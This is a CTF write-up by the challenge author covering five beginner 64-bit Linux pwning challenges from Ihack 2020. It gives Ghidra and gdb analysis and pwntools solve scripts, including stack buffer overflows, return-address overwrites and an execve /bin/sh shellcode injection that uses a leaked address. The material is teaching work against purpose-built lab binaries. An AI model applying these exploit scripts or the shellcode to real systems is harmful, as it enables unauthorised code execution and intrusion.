[Ihack 2020] pwning challenges reloaded

09 Jun 2020

The Ihack CTF is a hacking competition organized 6 months before the Hackfest. This competition wants to be accessible to all levels. For more details, you can see the official website: https://ihack.computer/

For the 2020 edition, I created a track on Linux binary exploitation (pwning) like the last year. But instead of using 32 bits binary, I used 64 bits. Like the last year, I built challenges in order to introduce beginners. You can download and install the challenges on Github.

The precedent write-up contains some useful documentation to solve challenges. You can read this here.

The following tools will be used to solve the challenges:

NB: All tools are supported for Linux. It is advised to use Linux to solve challenges. pwntools is not compatible with Windows.

1- Introduction to pwntools reloaded

2- Reverse Engineering reloaded

3- Play with the stack reloaded

4- Overwrite the ret address reloaded

5- Pop the shell reloaded

1) Introduction to pwntools reloaded

This challenge is similar to that of last year. It introduces people to communicate with a remote program with pwntools. It is not a pwning challenge but a programming challenge.

For this challenge, you need to decode octal value provided by the program to find the right number to submit. Of course, you have a very short of time to do this. The octal value corresponds to a base64 string. After decoding this string, you obtain hexadecimal value. After converting the hexadecimal value to decimal, you can submit the number and get the flag.

The following Python script allows solving the challenge:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import re
import base64

#remote allows to communicate with the program
p = remote('pwn64.canadacentral.cloudapp.azure.com', 1234)

#get the octal value
output = p.recvuntil("What is the good number?")
output = output.decode().split(" ")

base64_str = ""

#get the base64 string
for x in range(2,14):
	print(output[x])
	base64_str += chr(int(output[x],8))

#decode the base64 string
hex_str = base64.b64decode(base64_str)

#convert hex to dec
code = int(hex_str[2:],16)

#send the code
p.sendline(str(code))

p.interactive()

2) Reverse Engineering reloaded

The program generates a base64 string. For this challenge, the binary is provided and with ghidra, you are able to understand how the program works and guess the password.

Let’s check the main function:

chal2_1

1. puts displays local_30 so local_30 corresponds to the base64 string. You can see in the line above that local_10 corresponds to the string encoded in base64.

2. You can see that the input provided by the user is loaded in local_58 through the fgets function.

3. Then, local_58 is decoded and with a little of guessing, the decoded base64 string is loaded in local_68. It means that the user needs to provide a base64 string.

4. local_10 is changed through the function func1 or the function func2 depending on local_20.

5. local_68 is compared with local_10 through the memcmp function. If the variables are identical, you are getting the flag. local_20 corresponds to the size of the decoded string.

With all of this information, we can guess that func1 or func2 will be called depending on whether the size of local_10 is even or not. The meaning of local_20 & 1 is maybe a little tricky to understand, so using gdb can help to understand.

Let’s check in func1 and func2:

chal2_2

1. param_1 corresponds to local_10 (the decoded base64 string). It is also the value returned by the function.

2. local_28 contains the value 0xdadac0c0efbeadde.

3. We can see that the XOR operator ^ is used. We don’t need to understand all of the details of this line. We can guess that param_1 is xored character by character with local_28.

4. We can verify this with gdb. In the Function Graph, we can get a part of the address where the value is xored (189d).

In gdb, the command start will run the program and placed a breakpoint to the beginning of the main function. At this point, you can find the address of func1 with the command p func1 and with the command x/i 0x40189d you can verify if the instruction it is the same as in ghidra.

chal2_3

Then you can set a breakpoint at this instruction with the command b *0x40189d. You can continue the program with the command c.

chal2_4

The register RSI (including ESI) contains 0xA5 and RCX (including ECX) contains 0xDE.

chal2_5

If we decode the base64 string “pQoRNbdY3ioX0A==”, the first byte is A5 and DE is the last byte of local_28. Each byte of the decoded base64 string is xored by local_28. We can confirm to continue to the next iteration.

chal2_6

Now, we know that local_10 is xored in func1 with the key 0xdadac0c0efbeadde.

If we check func2, the function is exactly the same but with a different key 0xdf0cacaedfecac0.

chal2_7

So, you can solve the challenge with the following script:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import array
import base64

# https://stackoverflow.com/questions/2612720/how-to-do-bitwise-exclusive-or-of-two-strings-in-python
def xor_two_binary_str(str1,str2):
    a1 = array.array('B', str1)
    a2 = array.array('B', str2)
    for i in range(len(a1)-1):
        j = i
        if( i >= len(a2)):
            j = i - len(a2)
        a1[i] ^= a2[j]
    return a1.tostring()

p = remote('pwn64.canadacentral.cloudapp.azure.com', 5678)

output = p.recvline()
raw_output = base64.b64decode(output)
password = ""
key1 = b"\xDE\xAD\xBE\xEF\xC0\xC0\xDA\xDA"
key2 = b"\xC0\xCA\xFE\xED\xCA\xCA\xF0\x0D"

if((len(raw_output))%2==0):
    password = xor_two_binary_str(raw_output,key1)
else:
    password = xor_two_binary_str(raw_output,key2)

enc_password = base64.b64encode(password)

p.sendline(enc_password)

p.interactive()

3) Play with the stack reloaded

The program asks a name and check if you are admin.

Let’s check the main function:

chal3_1

1. scanf is used to get the input. This function is unsafe to use for a string and can be provoking a buffer overflow. It is our vulnerability. The input is loaded in local_c8.

2. We can see that local_c8 size is 21.

3. We see that a AND operation is performed to local_10 and local_18 and if the result equals 0xfacedeeffeefcac, the flag will be displayed.

4. Finally, we can see that we have no control in local_10 and local_18 without the buffer overflow. We can see that local_10 and local_18 are initialized by 0.

We can confirm the buffer overflow:

chal3_2

It is not obvious to guess how the stack can look just with gidhra but gdb can help us for this. In the Function Graph, we can get where the AND operation and the comparison is performed:

chal3_3

Let’s check where local_10 and local_18 are located after local_c8 with the following script:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *

p = gdb.debug("./chal3")

p.recvuntil("What is your name?")

p.sendline(cyclic(200))

p.interactive()

And with gdb we can place a breakpoint with the command b *0x401253.

The instructions below indicates that local_10 and local_8 are placed in rbp-0x8 and rbp-0x10 in the stack:

0x401253 <main+209>: mov    rax,QWORD PTR [rbp-0x8]
0x401257 <main+213>: and    rax,QWORD PTR [rbp-0x10]

We can check the value in $rbp-0x10 with gdb:

chal3_4

Now, we have the four characters overwritten by the overflow and we are able to determine the good offset with the following command:

>>> cyclic_find("taab")
176

We can obtain the flag with the following script:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *

p = remote('pwn64.canadacentral.cloudapp.azure.com', 4321)

p.recvuntil("What is your name?")

#I need to use decode('latin-1') to send no writable ASCII character in Python3
p.sendline("A"*176+p64(0xfacedeeffeefcaca).decode('latin-1')+p64(0xfacedeeffeefcaca).decode('latin-1'))

p.interactive()

4) Overwrite the ret address reloaded

The program check if your input equals to “pangolin” and displays a specific message if it is the case. You can see that the function scanf is used to get the input and like the precedent challenge, it is our vulnerability point.

chal4_1

We can confirm the buffer overflow:

chal4_2

We can see that in the program, a secret function exists and displays the flag. We need to controls and redirect the RPI to this function.

chal4_3

Exploiting a 64 bits binary is a little different to 32 bits. I advised you to read this PDF before to continue. Like mention in the PDF “So memory addresses are 64 bits long,but user space only usesthe first 47 bits; keep this in mind because if you specified an addressgreater than 0x00007fffffffffff,you’ll raise an exception.” To determine the good offset, it is not possible to enter a big overflow like with a 32 bits binary so I used a dichotomy method to determine the offset (I began by 100 and if the program gets an exception, I reduce to 50 and if the program does not crash, I increase to 75, etc. until I got the good offset).

After some test, I finally got the good offset with the following script:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *

p = gdb.debug("./chal4")

p.recvuntil("What is your favorite food?")

p.sendline("A"*40+"B"*6)

p.interactive()

And the result with gdb:

chal4_4

Because the PIE is disabled, the address of secret is fixed. We can get the address through ghidra or gdb. With gdb, we can get the address with the command p secret like below:

chal4_5

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *

p = remote("pwn64.canadacentral.cloudapp.azure.com", 8765)

p.recvuntil("What is your favorite food?")

p.sendline("A"*40+"\x82\x11\x40") 

p.interactive()

5) Pop the shell reloaded

This challenge allows to choice a menu for a restaurant. You can see the menu, make your choice, see your bill and sign a visitors’ book. Before to analyze the binary, you can check the security in the binary with the command checksec chal5:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Ok, NX is disabled but PIE is enabled.

Let’s check the main function with Ghidra:

With Ghidra, we can see that an admin zone exists in the program through the option 6 and we can see that the option 7 is available only if we are admin!

chal5_1

1. We can see that it is possible to log like admin through the option 6.

2. The option 7 is only accessible for the admin.

3. The function login_admin take the parameter local_18 and local_18 is the time of the server.

Now let’s check how the login admin is performed:

chal5_2

1. The time (param_1) is xored with the key 0x1337c0ca in local_c.

2. If the password submits by the user equals to local_c, you will become admin.

It is possible to become admin without using a script but later we need to use a script so you can become admin with the following script:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
from datetime import datetime

p = process("./chal5")

#get the date
output = p.recvuntil("2020")
output = output.decode().split(" ")
#dont forget to change the date for today
date = "2020-06-14 " + output[8]
timestamp = datetime.timestamp(datetime.strptime(date, "%Y-%m-%d %H:%M:%S"))

#become admin
p.recvuntil("|---------------------------------------|")
p.sendline("6")
output = p.recvuntil("Enter the admin password:")
# 322420938 = 0x1337c0ca
key = int(timestamp) ^ 322420938
p.sendline(str(key))

p.interactive()

chal5_3

Once admin, if you check in the other option, you can see some addresses are leaking. It will be useful to jump in our shellcode later.

chal5_4

If we check the function add_meal, we can see that the function gets is used.

chal5_5

This function is unsafe and allows us to perform a buffer overflow. The script below allows us to control the RIP.

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
from datetime import datetime

p = gdb.debug("./chal5")

# CODE TO BECOME ADMIN

output = p.recvuntil("| 7. Add a new meal |")
p.sendline("7")
output = p.recvuntil("Enter the name of your meal:")
p.sendline("A"*18 + "B"*6)
p.sendline("1")

chal5_6

Now, we need to place our shellcode in a variable large enough. The message of the visitors’ book have enough place. After place our shellcode in a message, we can jump inside thanks to the address leaked. The following script allows us to pop the shell:

#! /usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
from datetime import datetime

p = remote('pwn64.canadacentral.cloudapp.azure.com', 1337)

# shellcode 64 bits /bin/sh
shellcode = "\x48\x31\xc0\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

#get the date
output = p.recvuntil("2020")
output = output.decode().split(" ")
#Because the timezone of the server is GMT, we need to specify this in our date
date = "2020-06-15 " + output[8] + " UTC+0000"
timestamp = datetime.timestamp(datetime.strptime(date, "%Y-%m-%d %H:%M:%S %Z%z"))

# place the shellcode in a message
p.sendline("4")
p.recvuntil("What is your name?")
p.sendline("toto")
p.recvuntil("Enter your message:")
p.sendline(shellcode)

#become admin
p.recvuntil("|---------------------------------------|")
p.sendline("6")
output = p.recvuntil("Enter the admin password:")
# 322420938 = 0x1337c0ca
key = int(timestamp) ^ 322420938
p.sendline(str(key))

#get the address of the shellcode
p.recvuntil("| 7. Add a new meal |")
p.sendline("4")
output = p.recvuntil("What is your name?")
shellcode_address = output[384:400]
p.sendline("toto")
p.recvuntil("Enter your message:")
p.sendline("coucou")

output = p.recvuntil("| 7. Add a new meal |")
p.sendline("7")
output = p.recvuntil("Enter the name of your meal:")
str_address_shellcode = p64(int(shellcode_address,16))[:6]
p.sendline("A"*18 + str_address_shellcode.decode('latin-1'))
p.sendline("1")

p.interactive()

chal5_7